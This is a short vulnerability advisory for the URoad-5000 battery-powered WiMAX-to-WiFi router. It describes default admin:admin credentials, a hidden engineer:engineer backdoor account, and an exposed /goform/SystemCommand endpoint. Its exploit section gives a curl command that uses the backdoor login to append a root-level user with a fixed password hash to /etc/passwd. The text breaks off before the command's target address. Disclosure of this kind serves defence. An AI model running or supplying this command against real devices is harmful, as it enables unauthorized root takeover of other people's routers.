PRODUCT
URoad-5000
VENDOR

VERSIONS AFFECTED

CLASS
Remote command execution/Backdoor
PRODUCT DESCRIPTION
URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
Linux inside.
Often marketed as WiMAX 2 WiFi "converter".
THE PROBLEM
The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
1) Web administration interface can be accessed with standard user/password pair admin:admin
This can be later changed, but there is another possible access pair - engineer:engineer
and it can't be changed via the web interface.
2) Some of the SDK standard scripts are left and their screens in the web interface are just
HTML commented. This reveals the /goform/SystemCommand method.
EXPLOIT
1) Remote add r00t user with password boza
$curl --basic -u "engineer:engineer" \
-d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
